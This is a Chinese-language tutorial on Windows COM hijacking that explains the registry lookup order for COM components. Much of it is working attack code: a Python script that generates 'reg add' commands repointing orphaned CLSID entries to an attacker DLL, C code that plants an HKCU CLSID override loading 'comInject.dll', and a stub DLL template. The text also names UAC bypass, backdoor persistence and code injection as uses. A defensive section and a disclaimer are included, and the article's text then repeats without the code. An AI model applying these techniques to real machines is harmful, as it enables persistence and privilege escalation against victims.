com劫持的分析及实现
字数 1218 2025-08-09 13:33:38

COM劫持技术分析与实现指南

一、COM组件基础概念

1.1 什么是COM组件

COM(Component Object Model,组件对象模型)是微软开发的一种软件开发技术,特点包括:

  • 二进制可执行的小型组件(通常为DLL)
  • 支持运行时动态链接和替换
  • 解决了代码共用和版本问题
  • 实现了面向对象的编程模型

1.2 COM与注册表的关系

COM组件通过注册表进行管理,关键注册表路径:

  • HKEY_CLASSES_ROOT\CLSID - 存储COM类标识符
  • HKEY_CURRENT_USER\Software\Classes\CLSID - 用户级COM组件注册
  • HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\shellCompatibility\Objects\ - 系统级COM组件

1.3 CLSID(类标识符)

CLSID是COM组件的唯一标识符,结构如下:

typedef struct _GUID {
    DWORD Data1;   // 随机数
    WORD Data2;    // 和时间相关
    WORD Data3;    // 和时间相关
    BYTE Data4[8]; // 和网卡MAC相关
} GUID;
typedef GUID CLSID; // 组件ID
typedef GUID IID;   // 接口ID

二、COM劫持原理

2.1 COM组件加载顺序

Windows系统按以下顺序查找COM组件:

  1. HKCU\Software\Classes\CLSID
  2. HKCR\CLSID
  3. HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\shellCompatibility\Objects\

2.2 劫持思路

方法一:利用缺失的CLSID

  • 查找程序卸载后遗留在注册表中的COM键
  • 这些键指向的DLL通常已不存在
  • 修改路径指向攻击者的恶意DLL

方法二:覆盖存在的CLSID

  • 在HKCU注册表中添加目标CLSID
  • 系统会优先使用HKCU中的定义
  • 覆盖HKLM中的原始COM组件定义

三、COM劫持实现方法

3.1 利用缺失CLSID的劫持方法

步骤1:查找可劫持的CLSID

  1. 导出注册表HKEY_CLASSES_ROOT\CLSID内容为CSV文件
  2. 筛选InprocServer32下缺失DLL的条目

步骤2:批量修改注册表

使用Python脚本生成注册表修改批处理:

import csv

class Inject(object):
    def __init__(self):
        self.path = 'Logfile.CSV'
    
    def add(self):
        with open(self.path, 'r', encoding='utf-8') as r:
            g = csv.DictReader(r)
            for name in g:
                z = [x for x in name]
                for i in z:
                    if 'HK' in str(name[i]):
                        print('reg add {} /ve /t REG_SZ /d C:\\Users\\Administrator\\Desktop\\testdll.dll /f'.format(name[i]),
                              file=open('com_hijack.bat', 'a', encoding='utf-8'))

if __name__ == '__main__':
    obj = Inject()
    obj.add()
    print('[!] Administrator run com_hijack.bat')

3.2 覆盖存在CLSID的劫持方法

关键API函数

  1. RegCreateKeyExA - 创建注册表项
LONG RegCreateKeyEx(
    HKEY hKey,                  // 打开的键句柄
    LPCTSTR lpSubKey,           // 子键名称
    DWORD Reserved,             // 保留参数(0)
    LPTSTR lpClass,             // 类字符串(可为NULL)
    DWORD dwOptions,            // 特殊选项
    REGSAM samDesired,          // 安全访问权限
    LPSECURITY_ATTRIBUTES lpSecurityAttributes, // 安全属性
    PHKEY phkResult,            // 接收键句柄
    LPDWORD lpdwDisposition     // 接收处置值
);
  1. RegSetValueExA - 设置注册表值
LSTATUS RegSetValueExW(
    HKEY hKey,             // 键句柄
    LPCWSTR lpValueName,   // 值名称
    DWORD Reserved,        // 保留(0)
    DWORD dwType,          // 数据类型
    const BYTE *lpData,    // 数据
    DWORD cbData           // 数据大小
);

实现代码示例

#include <Windows.h>
#include <string>

BOOL COMInject() {
    HKEY hKey;
    DWORD dwDisposition;
    char system1[] = "C:\\Users\\administrator\\AppData\\Roaming\\Microsoft\\Installer\\{BCDE0395-E52F-467C-8E3D-C4579291692E}\\comInject.dll";
    char system2[] = "Apartment";
    
    // 创建注册表项
    if (ERROR_SUCCESS != RegCreateKeyExA(HKEY_CURRENT_USER, 
        "Software\\Classes\\CLSID\\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\\InprocServer32", 
        0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition)) {
        printf("创建注册表失败!");
        return 0;
    }
    
    // 设置DLL路径
    if (ERROR_SUCCESS != RegSetValueExA(hKey, NULL, 0, REG_SZ, 
        (BYTE*)system1, (1 + ::lstrlenA(system1)))) {
        printf("设置DLL文件失败!");
        return 0;
    }
    
    // 设置线程模型
    if (ERROR_SUCCESS != RegSetValueExA(hKey, "ThreadingModel", 0, REG_SZ, 
        (BYTE*)system2, (1 + ::lstrlenA(system2)))) {
        printf("设置ThreadingModel失败!");
        return 0;
    }
    
    ::MessageBoxA(NULL, "comInject OK", "", MB_OK);
    return TRUE;
}

BOOL UnCOMInject() {
    HKEY hKey;
    DWORD dwDisposition;
    
    if (ERROR_SUCCESS != RegCreateKeyExA(HKEY_CURRENT_USER, 
        "Software\\Classes\\CLSID\\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\\InprocServer32", 
        0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition)) {
        printf("创建注册表失败!");
        return 0;
    }
    
    // 删除注册表值
    if (ERROR_SUCCESS != RegDeleteValueA(hKey, NULL)) {
        printf("移除DLL文件失败!");
        return 0;
    }
    
    if (ERROR_SUCCESS != RegDeleteValueA(hKey, "ThreadingModel")) {
        printf("移除ThreadingModel失败!");
        return 0;
    }
    
    ::MessageBoxA(NULL, "Delete comInject OK", "", MB_OK);
    return TRUE;
}

3.3 恶意DLL示例

#include "pch.h"
#include <stdlib.h>

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    switch (ul_reason_for_call) {
    case DLL_PROCESS_ATTACH:
        MessageBoxA(0, "comInject OK", "", 0);
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

四、防御措施

  1. 注册表监控:监控关键CLSID注册表项的修改
  2. 权限控制:限制对HKCU\Software\Classes\CLSID的写入权限
  3. 完整性检查:定期检查COM组件加载路径的有效性
  4. UAC设置:保持UAC在"始终通知"级别可防御部分COM劫持
  5. 应用白名单:限制未知DLL的加载

五、实际应用场景

  1. 权限提升:在已获取用户权限后用于绕过UAC
  2. 持久化:通过劫持常用程序的COM组件实现后门持久化
  3. 恶意代码注入:将恶意代码注入到合法进程

注意:本文仅用于技术研究和防御目的,请勿用于非法用途。

COM劫持技术分析与实现指南 一、COM组件基础概念 1.1 什么是COM组件 COM(Component Object Model,组件对象模型)是微软开发的一种软件开发技术,特点包括: 二进制可执行的小型组件(通常为DLL) 支持运行时动态链接和替换 解决了代码共用和版本问题 实现了面向对象的编程模型 1.2 COM与注册表的关系 COM组件通过注册表进行管理,关键注册表路径: HKEY_CLASSES_ROOT\CLSID - 存储COM类标识符 HKEY_CURRENT_USER\Software\Classes\CLSID - 用户级COM组件注册 HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\shellCompatibility\Objects\ - 系统级COM组件 1.3 CLSID(类标识符) CLSID是COM组件的唯一标识符,结构如下: 二、COM劫持原理 2.1 COM组件加载顺序 Windows系统按以下顺序查找COM组件: HKCU\Software\Classes\CLSID HKCR\CLSID HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\shellCompatibility\Objects\ 2.2 劫持思路 方法一:利用缺失的CLSID 查找程序卸载后遗留在注册表中的COM键 这些键指向的DLL通常已不存在 修改路径指向攻击者的恶意DLL 方法二:覆盖存在的CLSID 在HKCU注册表中添加目标CLSID 系统会优先使用HKCU中的定义 覆盖HKLM中的原始COM组件定义 三、COM劫持实现方法 3.1 利用缺失CLSID的劫持方法 步骤1:查找可劫持的CLSID 导出注册表 HKEY_CLASSES_ROOT\CLSID 内容为CSV文件 筛选 InprocServer32 下缺失DLL的条目 步骤2:批量修改注册表 使用Python脚本生成注册表修改批处理: 3.2 覆盖存在CLSID的劫持方法 关键API函数 RegCreateKeyExA - 创建注册表项 RegSetValueExA - 设置注册表值 实现代码示例 3.3 恶意DLL示例 四、防御措施 注册表监控 :监控关键CLSID注册表项的修改 权限控制 :限制对HKCU\Software\Classes\CLSID的写入权限 完整性检查 :定期检查COM组件加载路径的有效性 UAC设置 :保持UAC在"始终通知"级别可防御部分COM劫持 应用白名单 :限制未知DLL的加载 五、实际应用场景 权限提升 :在已获取用户权限后用于绕过UAC 持久化 :通过劫持常用程序的COM组件实现后门持久化 恶意代码注入 :将恶意代码注入到合法进程 注意:本文仅用于技术研究和防御目的,请勿用于非法用途。